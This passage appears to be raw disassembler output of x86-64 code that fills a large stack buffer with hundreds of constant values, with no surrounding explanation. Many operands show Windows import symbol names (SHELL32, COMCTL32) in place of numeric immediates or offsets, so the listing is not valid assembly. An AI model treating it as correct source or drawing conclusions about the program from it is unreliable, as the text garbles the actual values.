mov word [rsp + 0x125c], ax
mov eax, 0x3c9
mov word [rsp + 0x1260], ax
mov byte [rsp + 0x177], ILIsParent
mov byte [rsp + 0x178], 0x3e
mov eax, 0x54d
mov word [rsp + 0x1264], ax
mov byte [rsp + 0x179], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x17a], PathYetAnotherMakeUniqueName
movabs rax, 0x7565539e3f8527
mov qword [rsp + 0x9c70], rax
mov eax, 0xf63
mov word [rsp + 0x1268], ax
movabs rax, 0x76a5dda699805d
mov qword [rsp + 0x9c78], rax
mov dword [rsp + 0x5d34], 0xdedb
mov eax, 0xaf5
mov word [rsp + 0x126c], ax
movabs rax, 0x74310c2d5e673b
mov qword [rsp + 0x9c80], rax
movabs rax, 0x737cf1ad64d3b0
mov qword [rsp + 0x9c88], rax
mov byte [rsp + 0x17b], PathYetAnotherMakeUniqueName
mov eax, 0x6cc
mov word [rsp + 0x1270], ax
movabs rax, 0x73a89ec6e82c5a
mov qword [rsp + 0x9c90], rax
movabs rax, 0x7b6e16996db781
mov qword [rsp + 0x9c98], rax
movabs rax, 0x7b485dbfa5fe85
mov qword [rsp + 0x9ca0], rax
mov eax, 0x11e
mov word [rsp + 0x1274], ax
mov byte [rsp + 0x17c], 0x39
mov eax, 0xdea
mov word [rsp + 0x1278], ax
movabs rax, 0x760a4288bffd74
mov qword [rsp + 0x9ca8], rax
mov eax, 0xa07
mov word [rsp + 0x127c], ax
mov eax, 0xdd
mov word [rsp + 0x1280], ax
movabs rax, 0x74034e13cde5cc
mov qword [rsp + 0x9cb0], rax
movabs rax, 0x72547ad67836d9
mov qword [rsp + 0x9cb8], rax
movabs rax, 0x78f9aa99c959ba
mov qword [rsp + 0x9cc0], rax
mov byte [rsp + 0x17d], 0x60
mov byte [rsp + 0x17e], SHSetInstanceExplorer
movabs rax, 0x7ec93b092ae582
mov qword [rsp + 0x9cc8], rax
mov eax, 0x24e
mov word [rsp + 0x1284], ax
movabs rax, 0x71a6abda397917
mov qword [rsp + 0x9cd0], rax
mov dword [rsp + 0x5d38], 0x423e
mov dword [rsp + 0x5d3c], 0xbba
mov eax, ILSaveToStream
mov word [rsp + 0x1288], ax
mov byte [rsp + 0x17f], reloc.SHELL32.dll_SHSetInstanceExplorer
movabs rax, 0x713f684a962f5e
mov qword [rsp + 0x9cd8], rax
movabs rax, 0x77d76cbb09096a
mov qword [rsp + 0x9ce0], rax
mov eax, 0x2a7
mov word [rsp + 0x128c], ax
movabs rax, 0x72bc21b2dffe5b
mov qword [rsp + 0x9ce8], rax
mov dword [rsp + 0x5d40], 0x49baa57d
mov eax, 0xf32
mov word [rsp + 0x1290], ax
movabs rax, 0x76a0817ec60eda
mov qword [rsp + 0x9cf0], rax
mov eax, 0xf03
mov word [rsp + 0x1294], ax
movabs rax, 0x707475fe3b57b4
mov qword [rsp + 0x9cf8], rax
movabs rax, 0x7a9ede5039585b
mov qword [rsp + 0x9d00], rax
mov dword [rsp + 0x5d44], 0x4562
mov eax, 0x226
mov word [rsp + 0x1298], ax
mov eax, 0xa9d
mov word [rsp + 0x129c], ax
mov eax, 0x777
mov word [rsp + 0x12a0], ax
mov eax, 0xd9c
mov word [rsp + 0x12a4], ax
movabs rax, 0x73bd2e41dbc838
mov qword [rsp + 0x9d08], rax
movabs rax, 0x70fdf74b632e26
mov qword [rsp + 0x9d10], rax
movabs rax, 0x7c12fc9a688ed7
mov qword [rsp + 0x9d18], rax
movabs rax, 0x7d139dc5623f47
mov qword [rsp + 0x9d20], rax
movabs rax, 0x740934cd99fc9d
mov qword [rsp + 0x9d28], rax
mov dword [rsp + 0x5d48], 0x11cf
movabs rax, 0x7ae6acb0526fe3
mov qword [rsp + 0x9d30], rax
mov eax, 0x84e
mov word [rsp + 0x12a8], ax
mov eax, 0x7cc
mov word [rsp + 0x12ac], ax
mov byte [rsp + 0x180], 0x42
mov eax, 0x504
mov word [rsp + 0x12b0], ax
mov eax, 0x4c9
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x5d4c], 0x51bdd8f1
mov dword [rsp + 0x5d50], 0x4af3
mov byte [rsp + 0x181], 0x3a
mov eax, 0x865
mov word [rsp + 0x12b8], ax
mov eax, 0x3a7
mov word [rsp + 0x12bc], ax
mov eax, 0x223
mov word [rsp + 0x12c0], ax
movabs rax, 0x7e11dc3a2e2bfa
mov qword [rsp + 0x9d38], rax
movabs rax, 0x7307022f8612ad
mov qword [rsp + 0x9d40], rax
movabs rax, 0x77025842bc6ac9
mov qword [rsp + 0x9d48], rax
mov eax, 0xb93
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x5d54], 0x895159c
mov byte [rsp + 0x182], 0xc7
movabs rax, 0x737d152bb1d3c5
mov qword [rsp + 0x9d50], rax
mov byte [rsp + 0x183], 0x3e
mov eax, 0x21f
mov word [rsp + 0x12c8], ax
mov eax, 0x6aa
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x5d58], 0x19c7
mov eax, 0x2fc
mov word [rsp + 0x12d0], ax
mov dword [rsp + 0x5d5c], 0x84e8
movabs rax, 0x7a56cae1407103
mov qword [rsp + 0x9d58], rax
mov eax, 0x642
mov word [rsp + 0x12d4], ax
movabs rax, 0x74cedbb011fe2b
mov qword [rsp + 0x9d60], rax
mov dword [rsp + 0x5d60], 0x1716cf45
movabs rax, 0x7011a1f354a706
mov qword [rsp + 0x9d68], rax
mov byte [rsp + 0x184], 0x35
mov dword [rsp + 0x5d64], 0x708b
movabs rax, 0x7245a4d7659775
mov qword [rsp + 0x9d70], rax
mov byte [rsp + 0x185], 0x69
mov byte [rsp + 0x186], 0x7e
mov dword [rsp + 0x5d68], 0x2c3f954
mov dword [rsp + 0x5d6c], 0x6cdd459a
mov dword [rsp + 0x5d70], 0xdc80
mov eax, 0x12c
mov word [rsp + 0x12d8], ax
mov byte [rsp + 0x187], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x89d
mov word [rsp + 0x12dc], ax
mov byte [rsp + 0x188], 0x5f
movabs rax, 0x7517414cca3e91
mov qword [rsp + 0x9d78], rax
mov eax, 0x1fe
mov word [rsp + 0x12e0], ax
movabs rax, 0x724b2533522349
mov qword [rsp + 0x9d80], rax
mov eax, 0x93
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x5d74], 0xa406f99
mov byte [rsp + 0x189], 0xcc
mov eax, 0x16b
mov word [rsp + 0x12e8], ax
movabs rax, 0x7e24326a703b05
mov qword [rsp + 0x9d88], rax
mov byte [rsp + 0x18a], SHTestTokenMembership
movabs rax, 0x78260dc7470ff1
mov qword [rsp + 0x9d90], rax
mov eax, 0x5ec
mov word [rsp + 0x12ec], ax
mov eax, 0x60
mov word [rsp + 0x12f0], ax
movabs rax, 0x7e562cb2577f6e
mov qword [rsp + 0x9d98], rax
mov eax, 0x43a
mov word [rsp + 0x12f4], ax
movabs rax, 0x7cae5ff28e2d0d
mov qword [rsp + 0x9da0], rax
mov byte [rsp + 0x18b], 0x6f
mov dword [rsp + 0x5d78], 0xb827
mov byte [rsp + 0x18c], SHGetNewLinkInfoW
mov byte [rsp + 0x18d], reloc.SHELL32.dll_ILClone
movabs rax, 0x700b7e564c6f0e
mov qword [rsp + 0x9da8], rax
mov eax, 0x78f
mov word [rsp + 0x12f8], ax
mov eax, 0x968
mov word [rsp + 0x12fc], ax
mov eax, 0xa1b
mov word [rsp + 0x1300], ax
mov byte [rsp + 0x18e], reloc.SHELL32.dll_SHUpdateImageW
mov eax, 0xdba
mov word [rsp + 0x1304], ax
mov byte [rsp + 0x18f], 0x4d
mov eax, 0x30e
mov word [rsp + 0x1308], ax
movabs rax, 0x7290430ab2c589
mov qword [rsp + 0x9db0], rax
mov byte [rsp + 0x190], PathMakeUniqueName
mov eax, 0x36f
mov word [rsp + 0x130c], ax
movabs rax, 0x794847939da47a
mov qword [rsp + 0x9db8], rax
mov dword [rsp + 0x5d7c], 0x2963
mov eax, 0x709
mov word [rsp + 0x1310], ax
mov byte [rsp + 0x191], LBItemFromPt
mov eax, 0x310
mov word [rsp + 0x1314], ax
mov byte [rsp + 0x192], 0x33
mov byte [rsp + 0x193], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0x76f8d686c0c5c6
mov qword [rsp + 0x9dc0], rax
mov eax, 0xc8b
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x194], PathYetAnotherMakeUniqueName
mov eax, 0xfe9
mov word [rsp + 0x131c], ax
mov dword [rsp + 0x5d80], 0x1dc5
mov eax, 0xcd0
mov word [rsp + 0x1320], ax
mov dword [rsp + 0x5d84], 0xc96d
mov eax, 0x52a
mov word [rsp + 0x1324], ax
movabs rax, 0x7e6b5c972e8fee
mov qword [rsp + 0x9dc8], rax
mov eax, 0x4d6
mov word [rsp + 0x1328], ax
mov byte [rsp + 0x195], 0x68
mov eax, 0x619
mov word [rsp + 0x132c], ax
movabs rax, 0x7ef61fee2c05ad
mov qword [rsp + 0x9dd0], rax
mov byte [rsp + 0x196], PathYetAnotherMakeUniqueName
mov eax, 0x392
mov word [rsp + 0x1330], ax
movabs rax, 0x79052c8ba9bb0c
mov qword [rsp + 0x9dd8], rax
movabs rax, 0x734f7b905386bd
mov qword [rsp + 0x9de0], rax
movabs rax, 0x7e990165dbeccd
mov qword [rsp + 0x9de8], rax
mov eax, 0x925
mov word [rsp + 0x1334], ax
mov dword [rsp + 0x5d88], 0x1243
movabs rax, 0x736ed77920ada9
mov qword [rsp + 0x9df0], rax
mov eax, 0x81
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x5d8c], 0xdc79
movabs rax, 0x7cc2f64c6072f3
mov qword [rsp + 0x9df8], rax
mov eax, 0x4e4
mov word [rsp + 0x133c], ax
mov eax, 0x64
mov word [rsp + 0x1340], ax
mov eax, 0x703
mov word [rsp + 0x1344], ax
mov eax, 0x7e9
mov word [rsp + 0x1348], ax
mov eax, 0x3e3
mov word [rsp + 0x134c], ax
movabs rax, 0x771082878f3bed
mov qword [rsp + 0x9e00], rax
mov byte [rsp + 0x197], 0xca
mov byte [rsp + 0x198], PathYetAnotherMakeUniqueName
mov eax, 0x393
mov word [rsp + 0x1350], ax
movabs rax, 0x7191a67b3d3e2d
mov qword [rsp + 0x9e08], rax
mov byte [rsp + 0x199], 0xc1
mov eax, 0x332
mov word [rsp + 0x1354], ax
mov eax, 0x412
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x5d90], 0xab1d
movabs rax, 0x797bb7fb618cab
mov qword [rsp + 0x9e10], rax
mov dword [rsp + 0x5d94], 0x3a0eda4
mov dword [rsp + 0x5d98], 0xa299
mov eax, 0x15d
mov word [rsp + 0x135c], ax
movabs rax, 0x7754d0b5bcbc2d
mov qword [rsp + 0x9e18], rax
mov byte [rsp + 0x19a], 0x60
mov eax, 0xd96
mov word [rsp + 0x1360], ax
movabs rax, 0x76d76d4744a554
mov qword [rsp + 0x9e20], rax
mov eax, 0xb92
mov word [rsp + 0x1364], ax
mov eax, 0x9f1
mov word [rsp + 0x1368], ax
mov eax, 0xab8
mov word [rsp + 0x136c], ax
mov eax, 0x221
mov word [rsp + 0x1370], ax
mov eax, 0x71f
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x5d9c], 0x7e249fc0
mov eax, 0x503
mov word [rsp + 0x1378], ax
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], 0x37
movabs rax, 0x7b2b02d1f47db8
mov qword [rsp + 0x9e28], rax
mov eax, 0x7db
mov word [rsp + 0x137c], ax
movabs rax, 0x7b88ffd2aafc57
mov qword [rsp + 0x9e30], rax
mov dword [rsp + 0x5da0], 0x3e3bcf34
mov eax, 0x7bd
mov word [rsp + 0x1380], ax
mov eax, 0x430
mov word [rsp + 0x1384], ax
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], SHTestTokenMembership
mov eax, 0x750
mov word [rsp + 0x1388], ax
mov eax, 0xba6
mov word [rsp + 0x138c], ax
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x5c
movabs rax, 0x7d724bc84b49ba
mov qword [rsp + 0x9e38], rax
movabs rax, 0x791623743055b3
mov qword [rsp + 0x9e40], rax
movabs rax, 0x75c6cd6afd0237
mov qword [rsp + 0x9e48], rax
movabs rax, 0x74d265cf9f03c4
mov qword [rsp + 0x9e50], rax
movabs rax, 0x71ab21cf85ea2b
mov qword [rsp + 0x9e58], rax
movabs rax, 0x74d8dbd10b3bfd
mov qword [rsp + 0x9e60], rax
mov dword [rsp + 0x5da4], 0x856b
movabs rax, 0x756fd3ba70bb3a
mov qword [rsp + 0x9e68], rax
mov eax, 0x6d
mov word [rsp + 0x1390], ax
movabs rax, 0x706ed83a2d9cb8
mov qword [rsp + 0x9e70], rax
movabs rax, 0x786df6e7a13e45
mov qword [rsp + 0x9e78], rax
movabs rax, 0x76f9c8d5b4dd1b
mov qword [rsp + 0x9e80], rax
movabs rax, 0x72ab9b261ed28c
mov qword [rsp + 0x9e88], rax
movabs rax, 0x749f6773d404b2
mov qword [rsp + 0x9e90], rax
movabs rax, 0x7b0f7b8c96e1b5
mov qword [rsp + 0x9e98], rax
mov byte [rsp + 0x19e], PathYetAnotherMakeUniqueName
movabs rax, 0x781a592e94be9d
mov qword [rsp + 0x9ea0], rax
mov eax, 0x583
mov word [rsp + 0x1394], ax
mov dword [rsp + 0x5da8], 0x86c1
movabs rax, 0x740ce7aa9fb749
mov qword [rsp + 0x9ea8], rax
mov eax, 0xa12
mov word [rsp + 0x1398], ax
movabs rax, 0x7e34edfe999a42
mov qword [rsp + 0x9eb0], rax
mov eax, 0xa42
mov word [rsp + 0x139c], ax
movabs rax, 0x7c1ea8882b6fb5
mov qword [rsp + 0x9eb8], rax
movabs rax, 0x7c7e056429e8ce
mov qword [rsp + 0x9ec0], rax
movabs rax, 0x7cf6572b988597
mov qword [rsp + 0x9ec8], rax
mov dword [rsp + 0x5dac], 0x1af1bfc6
mov byte [rsp + 0x19f], 0x89
mov dword [rsp + 0x5db0], 0xe238
movabs rax, 0x7b94f852365493
mov qword [rsp + 0x9ed0], rax
mov dword [rsp + 0x5db4], 0x6c40
movabs rax, 0x7e29de4c9f296a
mov qword [rsp + 0x9ed8], rax
movabs rax, 0x71b438c0bd8ddf
mov qword [rsp + 0x9ee0], rax
mov byte [rsp + 0x1a0], 0x67
mov byte [rsp + 0x1a1], 0x7c
mov eax, 0x7bc
mov word [rsp + 0x13a0], ax
movabs rax, 0x77ee473b3dbc6f
mov qword [rsp + 0x9ee8], rax
mov byte [rsp + 0x1a2], 0x6b
mov eax, 0x57a
mov word [rsp + 0x13a4], ax
mov eax, 0x3e2
mov word [rsp + 0x13a8], ax
mov eax, 0x573
mov word [rsp + 0x13ac], ax
mov byte [rsp + 0x1a3], PathYetAnotherMakeUniqueName
mov eax, 0x15b
mov word [rsp + 0x13b0], ax
mov byte [rsp + 0x1a4], 0x6a
mov eax, 0x5c6
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x1a5], 0x1c
mov eax, 0x1d4
mov word [rsp + 0x13b8], ax
movabs rax, 0x71e8c86ba69e76
mov qword [rsp + 0x9ef0], rax
mov byte [rsp + 0x1a6], 0xdd
mov byte [rsp + 0x1a7], ILIsParent
movabs rax, 0x7107978828981b
mov qword [rsp + 0x9ef8], rax
movabs rax, 0x72843b17898f3e
mov qword [rsp + 0x9f00], rax
mov eax, 0xa2f
mov word [rsp + 0x13bc], ax
movabs rax, 0x748cc54e82ab4f
mov qword [rsp + 0x9f08], rax
mov byte [rsp + 0x1a8], PathYetAnotherMakeUniqueName
mov eax, 0x761
mov word [rsp + 0x13c0], ax
mov eax, 0xfe7
mov word [rsp + 0x13c4], ax
movabs rax, 0x7360f4c01ff20c
mov qword [rsp + 0x9f10], rax
movabs rax, 0x797f580a25b499
mov qword [rsp + 0x9f18], rax
mov eax, 0xcd
mov word [rsp + 0x13c8], ax
movabs rax, 0x72273d823ae3d4
mov qword [rsp + 0x9f20], rax
movabs rax, 0x770408b7857baa
mov qword [rsp + 0x9f28], rax
movabs rax, 0x7a93d82be34735
mov qword [rsp + 0x9f30], rax
mov dword [rsp + 0x5db8], 0xeee09d7
mov eax, 0x4d6
mov word [rsp + 0x13cc], ax
movabs rax, 0x760b6b1fc4dc8b
mov qword [rsp + 0x9f38], rax
movabs rax, 0x76d744b762bf40
mov qword [rsp + 0x9f40], rax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x1a9], 0x3a
mov dword [rsp + 0x5dbc], 0x8d84
mov eax, 0x6c7
mov word [rsp + 0x13d4], ax
movabs rax, 0x7229a363c54f30
mov qword [rsp + 0x9f48], rax
mov eax, 0x35a
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x5dc0], 0x6212
mov byte [rsp + 0x1aa], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x1ab], 5
movabs rax, 0x7a140a2680400e
mov qword [rsp + 0x9f50], rax
mov dword [rsp + 0x5dc4], 0x7f9767ca
movabs rax, 0x71632d61c14001
mov qword [rsp + 0x9f58], rax
mov eax, 0xca
mov word [rsp + 0x13dc], ax
mov eax, 0x595
mov word [rsp + 0x13e0], ax
mov byte [rsp + 0x1ac], LBItemFromPt
mov dword [rsp + 0x5dc8], 0x428c
mov dword [rsp + 0x5dcc], 0xaa75
movabs rax, 0x728c9e6ac0367c
mov qword [rsp + 0x9f60], rax
movabs rax, 0x774cf853470a70
mov qword [rsp + 0x9f68], rax
mov dword [rsp + 0x5dd0], 0xcfd3
movabs rax, 0x737516ebba2431
mov qword [rsp + 0x9f70], rax
mov byte [rsp + 0x1ad], 0x9d
movabs rax, 0x7ee8fa525fa6ee
mov qword [rsp + 0x9f78], rax
mov dword [rsp + 0x5dd4], 0x7c42a63c
movabs rax, 0x7c334011526c73
mov qword [rsp + 0x9f80], rax
mov dword [rsp + 0x5dd8], 0x1ec726b
mov eax, 0x8d9
mov word [rsp + 0x13e4], ax
mov dword [rsp + 0x5ddc], 0x9288
mov dword [rsp + 0x5de0], 0x7cdc56e2
mov eax, 0x3bc
mov word [rsp + 0x13e8], ax
movabs rax, 0x7955a9c3a01402
mov qword [rsp + 0x9f88], rax
mov eax, 0x7bf
mov word [rsp + 0x13ec], ax
movabs rax, 0x7d82f69b0c3601
mov qword [rsp + 0x9f90], rax
mov eax, 0x578
mov word [rsp + 0x13f0], ax
movabs rax, 0x7924629151c493
mov qword [rsp + 0x9f98], rax
mov eax, 0xbbc
mov word [rsp + 0x13f4], ax
mov dword [rsp + 0x5de4], 0x1afc
mov eax, 0x979
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x5de8], 0x3698b8ac
mov dword [rsp + 0x5dec], 0x62cb
movabs rax, 0x7eb6276944da6e
mov qword [rsp + 0x9fa0], rax
movabs rax, 0x75c3a4aa617f3a
mov qword [rsp + 0x9fa8], rax
movabs rax, 0x73d8c88a26f2f1
mov qword [rsp + 0x9fb0], rax
mov eax, 0x968
mov word [rsp + 0x13fc], ax
movabs rax, 0x77022f35f6a9c5
mov qword [rsp + 0x9fb8], rax
movabs rax, 0x70554208e0c534
mov qword [rsp + 0x9fc0], rax
mov dword [rsp + 0x5df0], 0x4b78
mov eax, 0x24d
mov word [rsp + 0x1400], ax
mov byte [rsp + 0x1ae], 0x21
movabs rax, 0x7aafd413057d35
mov qword [rsp + 0x9fc8], rax
mov dword [rsp + 0x5df4], 0x34d
mov eax, 0xf26
mov word [rsp + 0x1404], ax
mov byte [rsp + 0x1af], 0xa4
mov eax, 0x7a9
mov word [rsp + 0x1408], ax
movabs rax, 0x7d6a194e73736b
mov qword [rsp + 0x9fd0], rax
movabs rax, 0x7a280ed3c000f7
mov qword [rsp + 0x9fd8], rax
mov eax, 0x308
mov word [rsp + 0x140c], ax
mov dword [rsp + 0x5df8], 0x27d6
mov eax, 0x729
mov word [rsp + 0x1410], ax
mov eax, 0xde7
mov word [rsp + 0x1414], ax
movabs rax, 0x727578d6d9a3ec
mov qword [rsp + 0x9fe0], rax
movabs rax, 0x78ee3f728b67e8
mov qword [rsp + 0x9fe8], rax
mov eax, 0x35f
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x5dfc], 0x101e
mov dword [rsp + 0x5e00], 0x3483163c
mov byte [rsp + 0x1b0], 0xd6
mov byte [rsp + 0x1b1], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x5e04], 0xee69
mov eax, 0x4c9
mov word [rsp + 0x141c], ax
movabs rax, 0x704c169cae1078
mov qword [rsp + 0x9ff0], rax
mov eax, 0x322
mov word [rsp + 0x1420], ax
mov eax, 0x8d3
mov word [rsp + 0x1424], ax
mov eax, 0x59a
mov word [rsp + 0x1428], ax
mov eax, 0x6eb
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x1b2], 6
mov byte [rsp + 0x1b3], reloc.SHELL32.dll_ILClone
movabs rax, 0x7648db8c3ecb53
mov qword [rsp + 0x9ff8], rax
mov dword [rsp + 0x5e08], 0x4118c177
mov eax, 0x9fe
mov word [rsp + 0x1430], ax
movabs rax, 0x7267a854ca5f34
mov qword [rsp + 0xa000], rax
movabs rax, 0x791d9d1f63495a
mov qword [rsp + 0xa008], rax
movabs rax, 0x7a84f0ce7be181
mov qword [rsp + 0xa010], rax
movabs rax, 0x794e2c61cb2ec0
mov qword [rsp + 0xa018], rax
movabs rax, 0x7a266faf7eb7de
mov qword [rsp + 0xa020], rax
movabs rax, 0x79cd476044736f
mov qword [rsp + 0xa028], rax
movabs rax, 0x7c4634416d43db
mov qword [rsp + 0xa030], rax
movabs rax, 0x7558a427843d61
mov qword [rsp + 0xa038], rax
mov byte [rsp + 0x1b4], 0x34
mov dword [rsp + 0x5e0c], 0x559991c0
mov eax, 0x4a0
mov word [rsp + 0x1434], ax
mov eax, 0xf75
mov word [rsp + 0x1438], ax
mov eax, 0xdb1
mov word [rsp + 0x143c], ax
movabs rax, 0x71487a551b3022
mov qword [rsp + 0xa040], rax
movabs rax, 0x72e68ff20f66f7
mov qword [rsp + 0xa048], rax
mov dword [rsp + 0x5e10], 0xb9ab707
mov byte [rsp + 0x1b5], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x76fe938b98f001
mov qword [rsp + 0xa050], rax
movabs rax, 0x7626cd0c43b74f
mov qword [rsp + 0xa058], rax
movabs rax, 0x70c543a51797d2
mov qword [rsp + 0xa060], rax
movabs rax, 0x7c4e5dbf2cf894
mov qword [rsp + 0xa068], rax
movabs rax, 0x78d9fa7e7ace8a
mov qword [rsp + 0xa070], rax
movabs rax, 0x7a413da917e03b
mov qword [rsp + 0xa078], rax
mov eax, 0x635
mov word [rsp + 0x1440], ax
mov byte [rsp + 0x1b6], 0x7c
mov eax, 0x313
mov word [rsp + 0x1444], ax
movabs rax, 0x78704a3d469ea0
mov qword [rsp + 0xa080], rax
mov eax, 0x22b
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x5e14], 0x67432344
mov eax, 0x9da
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x5e18], 0x21ca
movabs rax, 0x7ec08d5c4d9249
mov qword [rsp + 0xa088], rax
mov eax, 0x880
mov word [rsp + 0x1450], ax
mov byte [rsp + 0x1b7], 0x6a
mov byte [rsp + 0x1b8], 0x39
movabs rax, 0x757cc87b210729
mov qword [rsp + 0xa090], rax
movabs rax, 0x7d8c2cfbd7b15c
mov qword [rsp + 0xa098], rax
movabs rax, 0x7860b487508ff3
mov qword [rsp + 0xa0a0], rax
mov eax, 0x9a1
mov word [rsp + 0x1454], ax
movabs rax, 0x799a35418c9ae9
mov qword [rsp + 0xa0a8], rax
mov eax, 0x4c2
mov word [rsp + 0x1458], ax
mov eax, 0xfd
mov word [rsp + 0x145c], ax
movabs rax, 0x77a659dc24f7e1
mov qword [rsp + 0xa0b0], rax
mov eax, 0xb46
mov word [rsp + 0x1460], ax
movabs rax, 0x7708eed3a7fbf1
mov qword [rsp + 0xa0b8], rax
mov byte [rsp + 0x1b9], 0x64
mov byte [rsp + 0x1ba], PathMakeUniqueName
mov byte [rsp + 0x1bb], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x73154c1c367cf7
mov qword [rsp + 0xa0c0], rax
movabs rax, 0x71a8ec3d1f9277
mov qword [rsp + 0xa0c8], rax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x1464], ax
movabs rax, 0x785863b45399fc
mov qword [rsp + 0xa0d0], rax
mov dword [rsp + 0x5e1c], 0x2ad35b33
mov byte [rsp + 0x1bc], 0x68
movabs rax, 0x71c19404817310
mov qword [rsp + 0xa0d8], rax
mov dword [rsp + 0x5e20], 0xf267
mov eax, 0x50a
mov word [rsp + 0x1468], ax
mov byte [rsp + 0x1bd], 0xc5
movabs rax, 0x73bcd093a66f50
mov qword [rsp + 0xa0e0], rax
mov dword [rsp + 0x5e24], 0x53fd3e4
mov eax, 0x1c5
mov word [rsp + 0x146c], ax
movabs rax, 0x7e386ef2068597
mov qword [rsp + 0xa0e8], rax
mov eax, 0x170
mov word [rsp + 0x1470], ax
mov dword [rsp + 0x5e28], 0xfff0
mov eax, 0x924
mov word [rsp + 0x1474], ax
mov byte [rsp + 0x1be], 0x42
mov eax, 0x6ad
mov word [rsp + 0x1478], ax
movabs rax, 0x70a6772fe5731b
mov qword [rsp + 0xa0f0], rax
movabs rax, 0x70d2927cf91946
mov qword [rsp + 0xa0f8], rax
movabs rax, 0x72800d4e714432
mov qword [rsp + 0xa100], rax
mov byte [rsp + 0x1bf], 0x36
mov dword [rsp + 0x5e2c], 0x640bd596
movabs rax, 0x791db2d8e1c920
mov qword [rsp + 0xa108], rax
mov dword [rsp + 0x5e30], 0x764cb2e9
mov eax, 0x27c
mov word [rsp + 0x147c], ax
movabs rax, 0x77f80a78710615
mov qword [rsp + 0xa110], rax
mov byte [rsp + 0x1c0], 0x5a
mov dword [rsp + 0x5e34], 0xcd58
movabs rax, 0x73f5359655725e
mov qword [rsp + 0xa118], rax
mov dword [rsp + 0x5e38], 0x5e5d927e
mov dword [rsp + 0x5e3c], 0xfe9a
mov dword [rsp + 0x5e40], 0x8bb9
mov eax, 0x63
mov word [rsp + 0x1480], ax
movabs rax, 0x7705e07461c59b
mov qword [rsp + 0xa120], rax
movabs rax, 0x7a10822e83f0ba
mov qword [rsp + 0xa128], rax
movabs rax, 0x79d3b1feae5cde
mov qword [rsp + 0xa130], rax
movabs rax, 0x77fe65e56b7af4
mov qword [rsp + 0xa138], rax
movabs rax, 0x7bc44870ca5b9b
mov qword [rsp + 0xa140], rax
movabs rax, 0x746fff4557ca23
mov qword [rsp + 0xa148], rax
mov eax, 0x689
mov word [rsp + 0x1484], ax
mov eax, 0x3d6
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x5e44], 0x1504
mov eax, 0x47c
mov word [rsp + 0x148c], ax
mov eax, 0x7b6
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x5e48], 0x28cdbe37
mov dword [rsp + 0x5e4c], 0xd16a
mov eax, 0xeee
mov word [rsp + 0x1494], ax
mov dword [rsp + 0x5e50], 0x2787c535
movabs rax, 0x73219a35287892
mov qword [rsp + 0xa150], rax
movabs rax, 0x7c3bff60990e1d
mov qword [rsp + 0xa158], rax
mov dword [rsp + 0x5e54], 0xb2c0
mov eax, 0xcce
mov word [rsp + 0x1498], ax
mov byte [rsp + 0x1c1], 2
mov dword [rsp + 0x5e58], 0x7e72
mov byte [rsp + 0x1c2], PathYetAnotherMakeUniqueName
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x5e5c], 0x75e1
mov eax, 0xcd7
mov word [rsp + 0x14a0], ax
movabs rax, 0x76ac97c7733d62
mov qword [rsp + 0xa160], rax
movabs rax, 0x7c9dd5fdc28915
mov qword [rsp + 0xa168], rax
movabs rax, 0x7a0ebbe7af8420
mov qword [rsp + 0xa170], rax
mov byte [rsp + 0x1c3], 0x23
mov dword [rsp + 0x5e60], 0x1acd
mov dword [rsp + 0x5e64], 0x3cf2f773
mov byte [rsp + 0x1c4], 0x66
movabs rax, 0x726947b60d03c4
mov qword [rsp + 0xa178], rax
mov eax, 0x225
mov word [rsp + 0x14a4], ax
mov byte [rsp + 0x1c5], 0x76
movabs rax, 0x7d6777b859ae0b
mov qword [rsp + 0xa180], rax
mov eax, 0x6ab
mov word [rsp + 0x14a8], ax
mov eax, reloc.COMCTL32.dll_MakeDragList
mov word [rsp + 0x14ac], ax
mov eax, 0x372
mov word [rsp + 0x14b0], ax
movabs rax, 0x7bd3c03b7e8fe4
mov qword [rsp + 0xa188], rax
mov eax, 0xc1d
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x5e68], 0x51fa8907
movabs rax, 0x76efd9d8c78ac8
mov qword [rsp + 0xa190], rax
mov dword [rsp + 0x5e6c], 0x76dba785
mov byte [rsp + 0x1c6], PathMakeUniqueName
mov eax, 0x2d1
mov word [rsp + 0x14b8], ax
movabs rax, 0x710281b487e7f8
mov qword [rsp + 0xa198], rax
mov eax, 0x5a9
mov word [rsp + 0x14bc], ax
movabs rax, 0x7c553aa623e75e
mov qword [rsp + 0xa1a0], rax
mov byte [rsp + 0x1c7], 0x39
movabs rax, 0x7aeddd7a19e796
mov qword [rsp + 0xa1a8], rax
movabs rax, 0x78cdf09f59a88a
mov qword [rsp + 0xa1b0], rax
mov byte [rsp + 0x1c8], SHTestTokenMembership
mov byte [rsp + 0x1c9], 0x30
movabs rax, 0x7c4f9343fccc57
mov qword [rsp + 0xa1b8], rax
movabs rax, 0x772fab0c617a1a
mov qword [rsp + 0xa1c0], rax
mov dword [rsp + 0x5e70], 0x5813f46b
mov dword [rsp + 0x5e74], 0xcf79
